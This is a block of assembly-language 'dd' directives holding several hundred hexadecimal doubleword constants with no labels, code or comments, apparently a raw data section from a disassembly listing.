dd 0FFC094h, 9557DD98h, 2C176DB6h, 5C669000h, 0C676A028h
dd 0EC5D03E3h, 0DA1CAFF2h, 54D8D29Bh, 487EA84Ch, 8D878200h
dd 9C2378F4h, 88F902F8h, 3AEE612Bh, 0ABE67D40h, 75E80F00h
dd 0E7F45550h, 1F8B5C5Fh, 0C38FBA00h, 0CC2B871Bh, 0FE993700h
dd 72BB3AD8h, 200C00C7h, 0B739CE3Eh, 6F3B440Bh, 34C480D5h
dd 7806978Dh, 333A0076h, 59842EE0h, 0DC00FB9Ch, 3B82F17h
dd 7B7E4F1Eh, 22DB003Fh, 0C2B18D88h, 660034CAh, 33570480h
dd 1940BCh, 1FAD6FFAh, 1C1E099Ch, 0FB441003h, 0EFC72DEFh
dd 4000E787h, 4843Bh, 8C6895F1h, 0B6C04F51h, 4CAC0B0Eh
dd 0A522C064h, 0B10EB0h, 0A0DFEA79h, 57AE084h, 0DC3A7800h
dd 0EC1114B3h, 1B5305FDh, 40A18C5Ah, 96C66DBCh, 0F0005979h
dd 34748838h, 4AEA1537h, 0A5CD8172h, 433EF47Ch, 8CFABA00h
dd 35FEF27h, 812B03F9h, 65120F95h, 345852F0h, 5328D700h
dd 0ACEA6AC4h, 25B029h, 8A810EAEh, 1AB75072h, 6DA2101h
dd 73651914h, 33E7F0h, 0A13E1C26h, 0ADE6C6A9h, 810E2898h
dd 584571E9h, 0F832EC8h, 8C66795Ch, 0C4B334A0h, 7003E642h
dd 33AFA60Bh, 0DA78C868h, 95742Eh, 375C82FAh, 0E31BDCB8h
dd 42187400h, 0E93E279Dh, 2844DF33h, 0F2ECB8h, 0C6FC8EFh
dd 363A096Bh, 5DDF7A07h, 1B20CA6Ah, 12AE8DC7h, 3441C3Bh
dd 998647Ch, 0A870CC90h, 96011FEEh, 0F70582F9h, 0BB700407h
dd 0F4C0013Ch, 0D852C42Ch, 9EA0D0F2h, 990C8905h, 81C2B5DDh
dd 7F405F4Bh, 7D009BF8h, 0A05A1893h, 0E196F95h, 0FA3FE63Ah
dd 0FEC28D80h, 4105CB0Bh, 0D9BE53FBh, 9C113AC0h, 229F4CAAh
dd 76399504h, 3579C0DCh, 0AB503673h, 0A91F2EF0h, 0CCE4C34Fh
dd 84470Bh, 0DFC8048Bh, 0B01E2631h, 9BC4032Bh, 0CAB1FCA1h
dd 42C88F82h, 57CB2046h, 3C87E510h, 4B8ED4C2h, 5F7897Ch
dd 829E4F00h, 1C6608DCh, 0CF6E100h, 0CA80A2E6h, 5A00EF46h
dd 8200388Dh, 0FCB02DC8h, 135081h, 0C27AFD4Fh, 48A36C07h
dd 0C3A91213h, 5ABF1040h, 5C57764Ah, 0E30011B4h, 0A8523713h
dd 0AE0061C4h, 0C7EB881Bh, 1253C9h, 0EE69AA0Fh, 139146D8h
dd 0D5848E14h, 8A3A3CCCh, 0C815362Bh, 8A351402h, 78596009h
dd 7E80081h, 0D32ACA3Fh, 0CCA00B58h, 16133C85h, 2410F81Ch
dd 80930785h, 66803E4Ch, 0A1D2D53h, 404EB25Bh, 41310EF0h
dd 78EF2EC0h, 6F449E56h, 1AA2008Fh, 0D5D6E445h, 1100D914h
dd 68E927A9h, 1D0C2E94h, 47CAA03h, 833EF618h, 9626BF78h
dd 2680303Dh, 0DEF044CBh, 1ED732Ch, 47A96C6Bh, 0E86A9428h
dd 2900CFEEh, 1BD752F0h, 0FA72E1h, 3530D644h, 712C69E5h
dd 622AA21Eh, 790432A6h, 788017CCh, 8C3EE4ABh, 94168AC5h
dd 0DC20AC00h, 9BDB8Ch, 0BFEFBE07h, 0F8402C2Dh, 0A2025832h
dd 514C4075h, 1FF90AAh, 68BBBA23h, 0FC0C1D30h, 3602206Ah
dd 3656B16h, 0BE346812h, 7EB3E219h, 7310AE6h, 3B83B1BBh
dd 5E578909h, 4A003C8Fh, 3975DF0Dh, 946A670Eh, 603C8ED9h
dd 0E27E858Ah, 9DE60071h, 69F49C8Ch, 8F070816h, 66D3DE34h
dd 0F87F0049h, 0ED038C64h, 3DEDE030h, 77286A7Ch, 0EE5F08B0h
dd 0F3A02DDFh, 0CE7FD400h, 9B3CC063h, 57B738BCh, 8E3DE49Dh
dd 8320391Bh, 0D12E26C2h, 0D42AE200h, 0F565A085h, 0A15B2653h
dd 70F0067h, 0FD293CE3h, 0DBB05D50h, 0C74358F4h, 1E943601h
dd 0C02BDFBBh, 221F1FF5h, 0A84098A0h, 43BDB3BAh, 8FBE0083h
dd 0FD0DF40Fh, 820E816Eh, 80F8A720h, 296BDFF2h, 2A6800A5h
dd 52DE0D12h, 810106EBh, 9473A80Ch, 1080EFE2h, 7F8D37F9h
dd 3C0F656Fh, 0B50DDBh, 62AB5DEBh, 0BA58C077h, 0ADC3BD73h
dd 898B3A00h, 0CD6FB649h, 346E00BCh, 0C9BE82A4h, 32005BE7h
dd 9EE2FBFFh, 7A4CCFC0h, 70E0FEEDh, 24600005h, 0E827D469h
dd 7704E499h, 0DEDD4794h, 2921B090h, 9096019Dh, 0B49C2F6Bh
dd 55808049h, 5FCFD9E4h, 0E0C70026h, 91A42B5Eh, 131F519Ah
dd 1000E938h, 885F0764h, 304D028Fh, 4A839EA5h, 9734C780h
dd 33001DB2h, 0B03E4605h, 9644A4h, 35A31F2Eh, 0B78FE03Fh
dd 5D7C7E74h, 8076600h, 0A3916D48h, 0C35000A1h, 8B80E65Bh
dd 24012A9Eh, 0F2569CFDh, 0BC507057h, 3B32A0h, 85E75E03h
dd 0D8B31BC1h, 73165F02h, 0C0A229F1h, 1497B24h, 0B89B427Ch
dd 0FC9D41A6h, 160080F4h, 0E5CBB43Bh, 17BA8E6h, 0DBBCF247h
dd 40C9C850h, 888C4A84h, 0E9980104h, 87C386DDh, 0ADBED0AAh
dd 7110094h, 89A47332h, 5B003F6Ah, 6224FC77h, 281D4041h
dd 90A0DA76h, 1AEA00C0h, 4C94EFF7h, 0A2759038h, 3A506B01h
dd 611F1DDAh, 0D7ADDCh, 0D5755CD6h, 7E5D146h, 500BD275h
dd 7F34F4h, 539939B0h, 0D2900BAh, 2C3D20FBh, 482563C0h
dd 20AAFC2Dh, 0D85C09FCh, 14037F59h, 4F84C40h, 0EB0F5714h
dd 0AEDE8BAFh, 5CC0BD62h, 0D3A40F5Ah, 904A7CC5h, 21E90068h
dd 9E3A0E15h, 51D722Fh, 38CED27Ch, 24F1C230h, 23D460B9h
dd 2EB818DEh, 0C59E11E1h
dd 0D035CC00h, 0A04F539Fh, 0FF080045h, 0E2E125EEh, 59039154h
dd 832B8E79h, 5E23F8CDh, 0E07F018Bh, 0D460ED96h, 0EFE83073h
dd 0BFFBC601h, 7A3F8C16h, 0A6B920DEh, 1B71F36Fh, 0E9858300h
dd 0F14F4540h, 574B093h, 6BD40220h, 66B890AAh, 1A3B0AC2h
dd 542D9EF6h, 5A039080h, 7DD92Ah, 16AFDA1Dh, 1E334888h
dd 2CEB2224h, 800D548Fh, 0E3C630F0h, 86392621h, 525A8F28h
dd 0C00EBA45h, 6063D856h, 0C530F700h, 0B5D21622h, 3FE8C0E0h
dd 86EB8A0h, 8A2F5C04h, 2C80AFFFh, 4888CDFCh, 7309B04Bh
dd 2C109796h, 0B1057083h, 3FC50C30h, 10548892h, 0AC005543h
dd 0F424BAD6h, 0CDC5AAh, 78163A33h, 0ECF6F549h, 124D110Fh
dd 6FE6625h, 0E3050026h, 885EB808h, 7A0B1A02h, 602AD1D4h
dd 5D058369h, 82C0A8E2h, 7A35658Fh, 1EA71300h, 0C6043479h
dd 0E8700ECh, 2C3EF73Fh, 0AA26DD4Dh, 6916503Bh, 8B6EA400h
dd 0FC339EBh, 0B42AED5Fh, 7480EA29h, 2F7A3E78h, 2B287460h
dd 0FE0A7947h, 7C5E4C4Dh, 0EB537216h, 10EB120Bh, 3188F4h
dd 0F4BC1784h, 8003A8AFh, 8CC9A906h, 311BF9Bh, 0D5D3F32h
dd 0B00E6805h, 7F3A1F7Dh, 0D801EE1Ch, 6F14B66Ch, 772EE840h
dd 61B01541h, 1F007836h, 0BF6A1C5Eh, 0AD7693C5h, 6FCD700h
dd 0E37498E2h, 50F89789h, 0C481E11Fh, 9CEA0A80h, 4C5344B2h
dd 0FE0050A9h, 843BD58Bh, 68003088h, 1C1FEA54h, 162A9682h
dd 76D8AF6h, 4F86AF48h, 0BF203F6Eh, 8043E083h, 40ED7C2Eh
dd 4B936B00h, 0F3C9463h, 0A80E6C0Dh, 0F1FD1BA2h, 0BB5A1440h
dd 0BCC35700h, 0DF711A78h, 2ED40036h, 0F19AF31Bh, 5804805Fh
dd 3B8BC346h, 0EE0108A5h, 829178Eh, 26B9500h, 0DC30896h
dd 3524FF0Ch, 0BDC0655h, 93273F17h, 21E12C80h, 4B00FEF1h
dd 1CC5138Ch, 7D83C24h, 8664A1C6h, 8DAE902Dh, 802508ECh
dd 44C838BFh, 380D0597h, 0C4FAAC5Ch, 21DCC051h, 0E30E7BDEh
dd 0E2F2BC8Bh, 0C19D5C61h, 683255F0h, 7C001648h, 96CE3FCBh
dd 0DAFEAD67h, 0ED4DC209h, 790C81FAh, 0DBDCA924h, 393C007Fh
dd 6FD9CC12h, 0CBFC08D0h, 95B52805h, 54C08A9Ch, 493F81Eh
dd 33B64326h, 2F40800Dh, 2500AD4Bh, 0DFCCD6EBh, 47B27h
dd 33A23E7h, 0A16CA0D3h, 1C7A0624h, 0ACC66301h, 50877EB6h
dd 90C05294h, 7CE4720h, 7C194Dh, 534F75DAh, 1FD41079h
dd 0A1F684h, 0B997FB26h, 550151DBh, 8052A8Eh, 0F0DBA481h
dd 87E5E4h, 822949FAh, 58D09D5Bh, 0E378A000h, 0BA391285h
dd 6D10753h, 0F0D7FC1Ah, 99600F2Eh, 0DB9F5C00h, 0B741DB1h
dd 0D1DF00ADh, 2F3CD335h, 6D189123h, 0CFB0AAD0h, 7CA7612h
dd 0DF0CB47Bh, 0B1E03F70h, 0A69B687Ch, 1E52BF03h, 0BB058287h
dd 63C1F02Ah, 68900A61h, 0A82F56h, 0E80BF5E1h, 0A190B39Ch
dd 2E1C4500h, 68F063A8h, 0D0234867h, 0DEE50F73h, 35A0E7CBh
dd 9E448227h, 0B02DB202h, 0E941DD68h, 49D95890h, 9C42B6E1h
dd 126C405Eh, 0E3D803D5h, 0E87FE186h, 806635A8h, 0B009479h
dd 2E99B66Fh, 0B0557140h, 0F0811780h, 0D450204Ch, 0E3A46CEh
dd 0D67E269Bh, 0FA9F3424h, 7CC1D2C0h, 2E026086h, 80C43546h
dd 0FF2B04D8h, 444C2EF7h, 98250370h, 0EC10A5h, 27C0CA20h
dd 648FA1F0h, 23D19A04h, 8819508h, 0C4736F05h, 139E4CC7h
dd 44C00FB5h, 9F2601E2h, 920054A9h, 4A723D5Eh, 0D3A5090Ch
dd 78A64375h, 0E83AC8E4h, 86DB800Fh, 82B0DC0Ah, 3BE60174h
dd 3FEA2DDEh, 0A79BD072h, 1A665B0Ch, 8821B1h, 6EEE76E3h
dd 1EB2065h, 5954C402h, 409ED03Ch, 3D52DFE4h, 380049ABh
dd 0B4DD61ACh, 34007355h, 88FBCBB3h, 30A625h, 9A7A8ED5h
dd 0A5D7A358h, 75F0A816h, 1997C00h, 6D234Ch, 53C4AAE6h
dd 0D0519858h, 0ABFEED78h, 354C048h, 6FA9E83Dh, 8E26D92Dh
dd 0AE9443h, 0B97232A8h, 8FEC0D7h, 0C959B9B8h, 0A48A285Ch
dd 34CC4800h, 0D86C0F35h, 2BD00F70h, 0EDC1B097h, 204FF346h
dd 0F91D3074h, 28A406CCh, 0BB5F1007h, 3DE4C03Fh, 0D565C6h
dd 0EFAD912h, 0DEA7A1A5h, 0F940813Ah, 36D16900h, 857350CFh
dd 0AAFE87h, 0BB8AE6B2h, 0E02B306Bh, 694280B1h, 24D0A478h
dd 0AEF0349Dh, 4665007Fh, 9E40EE61h, 0B9032D59h, 500E8FF7h
dd 7F33C8A7h, 3067065Eh, 40AC2328h, 0B449827Dh, 6C907780h
dd 65FB1502h, 58AC0A18h, 880C00D0h, 6B163706h, 3603A729h
dd 78E2A0FEh, 96DDF8FCh, 0BCEA00E9h, 5B405E59h, 0F069A77h
dd 436E59Fh, 39090FEh, 0B94E8E1Bh, 2AB0AC1Dh, 227877D4h
dd 9400F34Eh, 42AEC4FCh, 9223019Dh, 72C34035h, 0FB2C649Eh
dd 0F39C6E00h, 10635A3Fh, 484D0EF9h, 4360448Ah, 0D2743214h
dd 0E3CE3A0Bh, 0E7A700E9h, 53E1A83h, 87620B02h, 0C52780EEh
dd 619595BFh, 803B0789h, 442A8C11h, 1D342100h, 4E2CE3CFh
dd 6DF1005Eh, 0A2577E3Ah, 2700DCFDh, 0CD889EA5h, 387B28Fh
dd 0DBCE7DF2h, 14C0DAABh, 8E3986F9h, 683200A0h, 0F14033FFh
dd 0C9885h, 0DC973E7Ah, 0A055803Ah, 13D8EF00h, 0D9FFBC63h
dd 43720E22h, 6C220EE0h, 0C4BAD71h, 0F22904D8h, 453F2F00h
dd 197BEE15h, 4797626h, 4410B21Ah, 2598517h, 9CDC014h
dd 1300C070h, 2D6AE7E9h, 0D0D384h, 0C9C234C8h, 4F5ACC42h
dd 96534139h, 0CC90A02Ah, 78D3BEAh, 7E1F9B60h, 0A55C1020h
dd 0E098D0A4h, 36E4A100h, 1A8E5F64h, 0D78500E6h, 0E11422CEh
dd 951E0ABDh, 56CEE463h, 9D9C20C1h, 745ECC9Fh, 0F5213A4h
dd 380115F4h, 0EE753D00h, 0D0F80445h, 0ACBC5A3Eh, 7883E84Eh
dd 0C506EFDCh, 7964F890h, 0F8CC07AEh, 50B1213Ch, 10AD40DBh
dd 89E08400h, 99022C2h, 47F30E0Bh, 5F009EA1h, 0EFC02A1Ah
dd 64AEDB2Ch, 0CBDCD101h, 0F1406DE9h, 554769h, 0F9E42C2Bh
dd 5632F212h, 0BDDE4B3Fh, 63EA823Eh, 608BC95Eh, 4299F4h
dd 460874B1h, 85DF0783h, 7D093C7Fh, 808D8E19h, 0F2491E28h
dd 844D1E87h, 0E5E9CEDBh, 7F347EA1h, 3BC1CC75h, 0F795AB00h
dd 9D430269h, 0D8980127h, 0C45D38ADh, 2D15D05Ch, 82D65800h
dd 0F06250E0h, 0D38830F2h, 549EE310h, 0E9880BF2h, 46180022h
dd 7C1C7A3Ah, 0FD26293Dh, 0DB00F8FFh, 7F60E726h, 0EB70A2h
dd 0ACBADDB7h, 31CFF518h, 0BDCBCE00h, 0D3A1BB3Dh, 5B5A44A2h
dd 6449025Ah, 99D0C0FCh, 1BF4167Fh, 81C0009h, 0D8CDED94h
dd 0CCC36517h, 32D61800h, 4CE1669h, 0B9D3A387h, 0D8DCE0C1h
dd 8AE0D49Ch, 1E1D2B4Bh, 6C6703F0h, 2DE70045h, 2C6AEAF3h
dd 78D00200h, 0B3885D50h, 0D65B0066h, 8A248F30h, 0C875B58Dh
dd 150E1A17h, 33AC09h, 0AC9FA043h, 0A6A055Eh, 80F53A74h
dd 784832B0h, 4DC78900h, 0E81308B0h, 90685069h, 3FFC0750h
dd 0C0318A99h, 0F1BC80DFh, 0EA1CAE00h, 71C7285Dh, 9325004Dh
dd 330F112Fh, 0D502402Bh, 990EB670h, 22E84083h, 0F07638h
dd 489477E2h, 36B9097h, 11F86400h, 351517C8h, 833613B7h
dd 561C0522h, 27A8A4E7h, 6B00CCECh, 3EEB2306h, 48E13D41h
dd 0DF01E8D0h, 0AE24FC0Bh, 0D569D829h, 8D005CB8h, 0B171F13Bh
dd 0F08F43h, 0C82F57B7h, 0BA990465h, 0E05D2028h, 22D3C600h
dd 0D034251Fh, 0A439499Dh, 5C77C33Fh, 50004449h, 0E5CBB066h
dd 3D781C22h, 0B30BB217h, 164F185Fh, 89EFCEFAh, 98042040h
dd 60589CE7h, 27AA117Fh, 0F3004AB8h, 64055744h, 423D5ECh
dd 332CF784h, 0F8E8F016h
dd 4190CD48h, 0C32EBh, 28A7EACAh, 0C02AB306h, 714DFCA8h
dd 11C0A3AFh, 14D097ABh, 4BFF0306h, 0D57FBA8Ch, 0D0260D7h
dd 9A27E083h, 2BD820D7h, 0A4BB68h, 8D41EDCBh, 538FBFBEh
dd 762EA0Eh, 9716E0F8h, 0FEED1386h, 303E0025h, 2DEFAE6h
dd 6E07FDE4h, 95FFCAC8h, 65EA8C0h, 46B10077h, 0D96692DBh
dd 2FE21C8Dh, 0FDCCB03h, 880AFD4Eh, 2A854Ah, 53B470F3h
dd 3FFBBE2Eh, 0E817CF00h, 0DB11D930h, 0BD4F03D6h, 0C3AD494Dh
dd 109BA0F0h, 7A2E560Ah, 0F2038C7Fh, 0B83D3136h, 5A3B7B85h
dd 4838B86Dh, 0BB1718DBh, 0A04C35CCh, 34F0A5h, 0F3361CA6h
dd 0CA74DC6Fh, 0D6993100h, 0EB49F290h, 52E317FEh, 0C4400B5h
dd 0FDB4C01Bh, 74D38301h, 2EAFDCBAh, 7500286Dh, 341573A3h
dd 4B3F3B71h, 8061B84Ch, 6253EDA7h, 0EB7DF2Fh, 3934416Eh
dd 8D79A0C0h, 0AA079B06h, 941E38CEh, 6B1CE7B0h, 349D09F1h
dd 0C00FE2Fh, 0CF5D6EE8h, 760A5400h, 6D5293E1h, 2CF9079Bh
dd 4ECED126h, 8210EECh, 22FB2000h, 0DB74F6C0h, 25C8029Ah
dd 6298FE69h, 5B271C40h, 0F07CAB00h, 0AAD436Ch, 64A00C5h
dd 8B54E003h, 6100EBCAh, 2F0DEF8Ah, 0C6E81Bh, 0E5188313h
dd 87EDC74Ah, 8E228200h, 0DF1BAD94h, 0A1FAABh, 1693D7B1h
dd 3B6C0DECh, 0B4E00400h, 0E8CA9C26h, 409E0052h, 64F1CB10h
dd 0EB00A16Ch, 0EA873ECh, 1EA9C098h, 0C07CB17Bh, 0E3D519C1h
dd 0CD003139h, 0E72B4C59h, 7B745D46h, 9BF0007Dh, 1457E3E1h
dd 25752660h, 0FC4DE90Fh, 0C8B6C009h, 2C4ACCA4h, 60AB1h
dd 9CC07965h, 3901DB17h, 36DC4758h, 466095D5h, 2F0C3DACh
dd 0CC8312h, 4424F9E5h, 0A900E5F8h, 6D379855h, 744945h
dd 768DD7CBh, 9467E94Fh, 3AFEE81Eh, 62EC9780h, 4892CE64h
dd 98006951h, 5A7ACB8h, 0EA00CD57h, 5AAE9658h, 22BEF5h
dd 92941D9h, 6C711F1Ch, 0D7F28B18h, 6D111h, 47CAA053h
dd 9590B234h, 0B36E8703h, 0A0A5DABDh, 0F0A16FF9h, 12CD7811h
dd 19EC3FCBh, 0EB764140h, 9B4EE7E8h, 8710C004h, 16C06A7Fh
dd 1828391h, 0D957E9Fh, 0C4EFBD36h, 0B75AA698h, 0AEFA3680h
dd 0A7740077h, 0CF278F20h, 0F30048BDh, 8DE5B04h, 3B6644h
dd 2FF1B63Fh, 99971DBCh, 0E533CF00h, 9D8F1C96h, 0A1B1C08Ah
dd 0AA486DE7h, 7A5A400h, 5DEBB751h, 7213FE49h, 65B86Bh
dd 0C4B11B6Dh, 35C12CA7h, 0F0003FEh, 8C7DF620h, 632D5Fh
dd 51462807h, 3F06BBE8h, 35B1D900h, 123083AAh, 135D00AFh
dd 0CAD52D65h, 1600D2C3h, 3952257Bh, 4C4906AEh, 4B3BD8EFh
dd 63D45C00h, 5DD64A0Eh, 0E44C1800h, 24F5E33h, 6A640041h
dd 71FB3ED2h, 0C01795CDh, 5916E153h, 30004416h, 743F0D81h
dd 0D7B61DBCh, 87903478h, 0E8BAD03Ch, 273AA597h, 5F18E073h
dd 0E8EE2D90h, 7E87285Bh, 49F50418h, 0E0BA0Eh, 719888C8h
dd 5E80745h, 8280C609h, 28107B86h, 5B5E0A23h, 8407727h
dd 694CA37Fh, 0B67AC2h, 0EC984B8Dh, 7C27A087h, 88018A9h
dd 0B4BE4CF9h, 0EA386D30h, 872A575Fh, 7D18507Ah, 0A588BA0Dh
dd 0EDAC00A8h, 458F9F1Ch, 5A981AE2h, 3B3E0900h, 5007EA4Fh
dd 0C9B901FAh, 0E82376DCh, 709DEC82h, 6966BB07h, 3C909E6Dh
dd 0F72957h, 0B53A360Eh, 192C73Bh, 366833Ch, 0EC6D6FE4h
dd 6B95E807h, 0D38200F3h, 336A151Dh, 4E010537h, 556E4696h
dd 0B9E4941Ah, 30C70462h, 97E2A760h, 7FECF00Ch, 0AF0064CBh
dd 59825AE3h, 2F56D58Eh, 88FE27C3h, 71BA1006h, 0D6AAE2E9h
dd 0B720008h, 6AF82C49h, 0CFA4B00h, 3D2FF664h, 0C0D8F2C5h
dd 22A24E60h, 8800C3C9h, 9310DEABh, 0FAC03199h, 2325059Ah
dd 44094573h, 0C3ADFBB8h, 0F2D8DA6Fh, 1100C43Bh, 0BF20627Bh
dd 7FC297h, 0C657C8A1h, 0B8DAF81Ch, 0BE5F4218h, 7FE93D91h
dd 9830189h, 10AB78C2h, 167447B9h, 0D27029C1h, 119E6200h
dd 53D0611Dh, 1DB7065h, 78A5853Dh, 893C86BFh, 190690h
dd 2776E2A3h, 0B33A0739h, 0E7114F41h, 9F214065h, 8D01DDD4h
dd 0DA3CD678h, 1CE03F40h, 0F6F90043h, 0F246A76Fh, 62007C8Ch
dd 0BEA09D15h, 0EB48ADh, 0F4164392h, 1C733D4Fh, 6FA80703h
dd 0BFE1CDD7h, 0EECB2240h, 0AEAB121Ah, 0F0210798h, 970B8101h
dd 467DFC3Fh, 18ED311Ch, 61C6DC2h, 3CD5F0A8h, 1B00EAD1h
dd 50BFE4C6h, 0AB009574h, 0CBD3DDD8h, 58E210h, 37A7FA1Eh
dd 32E5C4AEh, 0F8C9CD00h, 241F7E64h, 0F67C0926h, 0E780F2D0h
dd 29BABFA0h, 0CCE6C600h, 0B95AC407h, 0FD6B026h, 4D380108h
dd 3C430303h, 0D0E91BF9h, 80A3F6ABh, 0D10403E5h, 10071FD8h
dd 88CD061Eh, 9DD31D00h, 0A2791875h, 0D1C4FA64h, 0BF68CB03h
dd 0B6C61FF6h, 11E74229h, 0EF21D1FFh, 83CC9908h, 62A2162Ah
dd 0FAD4B8F8h, 305A3307h, 0C203E71h, 10E309AEh, 845EBD2Ch
dd 9444DAEBh, 6F94473h, 0AD425248h, 218824D5h, 66120477h
dd 88E66010h, 7D8974ECh, 217A24C2h, 6013DFC8h, 0AFEC5100h
dd 76253038h, 0EE6173F5h, 0ACB73BB2h, 0ECE27280h, 872337B4h
dd 9F7DC000h, 0A39BD2Fh, 0F880006Eh, 0BA3AAB20h, 201E85Eh
dd 16849972h, 0D8F9F0F2h, 0C0F1DAFCh, 0C15D7660h, 0FC1D5E46h
dd 0F3003F29h, 0ABB0388h, 990F07D7h, 0D1E085h, 0C7A394E6h
dd 108DFD00h, 392A5852h, 0C5A7960h, 8EE334B1h, 5598B421h
dd 14FC9600h, 3139021h, 68250071h, 0A1347BC6h, 0E305861h
dd 37104011h, 26D503EEh, 3AA05F68h, 4F2A3A8h, 812E330Ch
dd 7D2D1821h, 297F00F5h, 0D9546728h, 0FA008073h, 87BF422h
dd 7C2BE8D4h, 67F801B7h, 9A107138h, 0EE3AD020h, 75A0FD03h
dd 43CCDEh, 3E4FE560h, 0FC719E19h, 94F85C00h, 0D4BEA601h
dd 9B820028h, 32BF2754h, 57002616h, 0EE7FAE3Eh, 1AFBA39h
dd 0E10DCAD9h, 80B74625h, 82F29E18h, 8593C9h, 532364C0h
dd 5E34AB68h, 500A37Ah, 0FF7BD8AFh, 0B0D21D1Eh, 0D9830016h
dd 0EB2A497Eh, 0F0008A58h, 9889FCADh, 0F4B9AA04h, 43A500C5h
dd 0E2423647h, 8C261A1Dh, 0D900C028h, 6CCF84F3h, 8ED43BACh
dd 6785ED80h, 0F85D2741h, 0CBD63700h, 29A0F703h, 28B175AAh
dd 78C5CBDh, 395D6649h, 0C5215089h, 0DE00093Dh, 0BEC90806h
dd 8F4846h, 59EB9058h, 0CCF53BA0h, 807B653Ah, 74BC2589h
dd 0EAF1E626h, 0C59704E5h, 80F5DFEBh, 0BB44DC2Ch, 364C24FBh
dd 16F67100h, 55DB10C8h, 0B1D701ECh, 75B5311Eh, 0C26CCC8Ah
dd 3E827200h, 992C42DCh, 0D710C0C3h, 5C92F4Bh, 11784500h
dd 2DFCE60Eh, 0F4EE0019h, 5CE79A55h, 0E200172Fh, 0E65A6730h
dd 179DB06h, 0C32580D5h, 2127407Dh, 48EC6104h, 4700C474h
dd 0C5194899h, 58F50Ah, 0F07ABD9h, 0FF91F792h, 220A8B79h
dd 0CC20BB53h, 0C665F300h, 1C385B51h, 3FF73C0h, 12854223h
dd 2A07DAA0h, 184F0402h, 89772D61h, 5D0C80D0h, 1DCA56EBh
dd 0CAA1C907h, 0FD8FE85h, 8D203399h, 0E7C7D55h, 0A41F49F6h
dd 0F58C50D3h, 0EA8240A8h, 0A3F3E86h, 0B47D1C80h, 3B401466h
dd 3E386800h, 73538BCBh, 174F0305h, 0D4104EBFh, 94016086h
dd 508CC840h, 53EC975Fh, 8E8B0F37h, 51E07815h, 100AACD8h
dd 52346100h, 59250FA0h, 8D8F011Eh, 3CCCAD63h, 7B4AD4C3h
dd 990DF8E1h, 50D8FA00h, 0CBBE590Bh, 57161405h, 513DA03Dh
dd 0A2280786h, 9B04103Ah, 9FECE372h, 0D0E0BC81h, 77124040h
dd 0DA7E0070h, 6AA6D674h
dd 7A003265h, 60A12789h, 3BD068h, 55F39E4Ch, 621C6AC4h
dd 0B202DF72h, 0B1D9FA40h, 0BC04600Ah, 21750069h, 6BDC0EAAh
dd 5578298Fh, 0A4EF6AC0h, 90F54Dh, 0E4F8E91Dh, 0EEE02089h
dd 2A16C000h, 19B46E28h, 99080D92h, 0D8089736h, 53000282h
dd 0ACAF169Ah, 3CE7C889h, 83859F61h, 0C4F6E5B7h, 0E05B87FDh
dd 0D714C5DEh, 0BCF8491Eh, 0C88418C1h, 0A6E5EC7Ah, 898DD840h
dd 65C00FDDh, 2EE0C58Ch, 820410CCh, 717FE198h, 7C1C2600h
dd 5E10ACFh, 9FCC0F7Dh, 5EA04BFBh, 1B4F8886h, 992428FEh
dd 640BC61h, 7E44C7Ah, 0A7E6B7FCh, 57A55032h, 9F242B05h
dd 9C04C0F4h, 78804604h, 0B9FAE8h, 95A6963Ch, 0BB52027Eh
dd 0A1282113h, 0D4235800h, 76BD295Fh, 96FF26DBh, 93F900DCh
dd 0F656BE58h, 6533691Dh, 254CA8C0h, 98CFD0B4h, 0FEB8007Eh
dd 7812AD20h, 85797780h, 9DEAA600h, 73CFB431h, 0C6C50F53h
dd 5F0649AFh, 437B1074h, 0ADA11500h, 0E2BB31B5h, 1F08B06Ah
dd 644D1838h, 944200C0h, 0E5ECF5D9h, 34A520h, 3E2167DCh
dd 8E608DA0h, 12A4D4Ch, 282232B5h, 0B8807BA3h, 0F9254401h
dd 9C7209C4h, 15969E00h, 0B3108679h, 7180CAFh, 0B67032A0h
dd 40364Dh, 50AD1DB0h, 193E515h, 8DEB2C20h, 0E0FB89CEh
dd 0BE787E9Dh, 0C83E322Eh, 640F0916h, 4D2F406Fh, 1CCBACEh
dd 1D01364Bh, 803C3B54h, 8F733240h, 0F2B1589Fh, 0FA2B4C19h
dd 0A0CDC828h, 0F21657C8h, 0AC133C47h, 0E1D6368Fh, 29A37AC3h
dd 0DC63A2D1h, 4500B2E6h, 3F569970h, 339DCD1h, 4A1EF598h
dd 4C90EB85h, 0CC39D602h, 0E5B80C6h, 0CD1D0BDh, 3590099h
dd 0DD05A090h, 38905D4Ah, 558E5107h, 19509181h, 11C5CDh
dd 0D1100ED6h, 97504E96h, 0F33998E4h, 82738161h, 0C2B35DA4h
dd 0F41CE0h, 0E9DE1E7Fh, 0CD8FDD44h, 0F937F310h, 33F3401h
dd 30C9E762h, 85020500h, 517920A7h, 4888801Fh, 0E707879Eh
dd 182E8h, 45D96D4Bh, 447AB5A4h, 1BAF0C00h, 4FE4CB6Fh
dd 24F500ECh, 350D7BFEh, 27247955h, 3000A076h, 538A3660h
dd 68831C08h, 982AC024h, 37EF2888h, 638E6F00h, 702B4A93h
dd 7D1801BDh, 9436F01Eh, 92FC4033h, 0E6003A15h, 0A3FB4DDAh
dd 0BC8DE4h, 7CD82161h, 3F1E6323h, 0B006E700h, 74A6C688h
dd 7019EA3Ah, 2D4C00B5h, 6F0ABC81h, 0A20951C0h, 8025C202h
dd 61E2C79Ch, 683C0139h, 8491E905h, 1ECDE44Ch, 0B82449h
dd 45BEFF1Fh, 5A580FE5h, 3600BE16h, 9C2ABA9Dh, 8BA0A3FCh
dd 7CBF986Ch, 0EF8F01B9h, 0A3C11FFFh, 3FE44063h, 867B2962h
dd 603D0200h, 700E2634h, 0B0FB5490h, 8C7BD5h, 7F75EEB6h
dd 5D25B4D8h, 30A9DD00h, 1CA2AE94h, 3D540A03h, 0FD05E04h
dd 764778FFh, 0E76DF080h, 9405E450h, 0DC011ABFh, 0BB8283h
dd 0E3F56228h, 44353C83h, 49FC7300h, 0B27ECAE4h, 0FF3D0E47h
dd 6A001877h, 0B5BEC5D6h, 0F9CA55Ch, 2054F0D7h, 4F12A7EEh
dd 2991018Bh, 7A0F17CFh, 1D88060h, 41F1A5DEh, 3E6600A1h
dd 7E266480h, 0E90022C0h, 0A0E775BDh, 742348h, 14AD4EE8h
dd 0D1ED83ACh, 2CC16D00h, 79B92F93h, 40DE044Dh, 80F82226h
dd 738F2450h, 7430ED4Ah, 60459Ch, 0D1FA359Ah, 8251F331h
dd 6477CA12h, 8BFC0900h, 0E4E594A6h, 49801h, 713454DBh
dd 0F27E5825h, 67701700h, 0C44866E8h, 0E4F31594h, 0E502F4EBh
dd 0F621E30Eh, 0B2F18048h, 730462E0h, 7B94E2D7h, 337534D0h
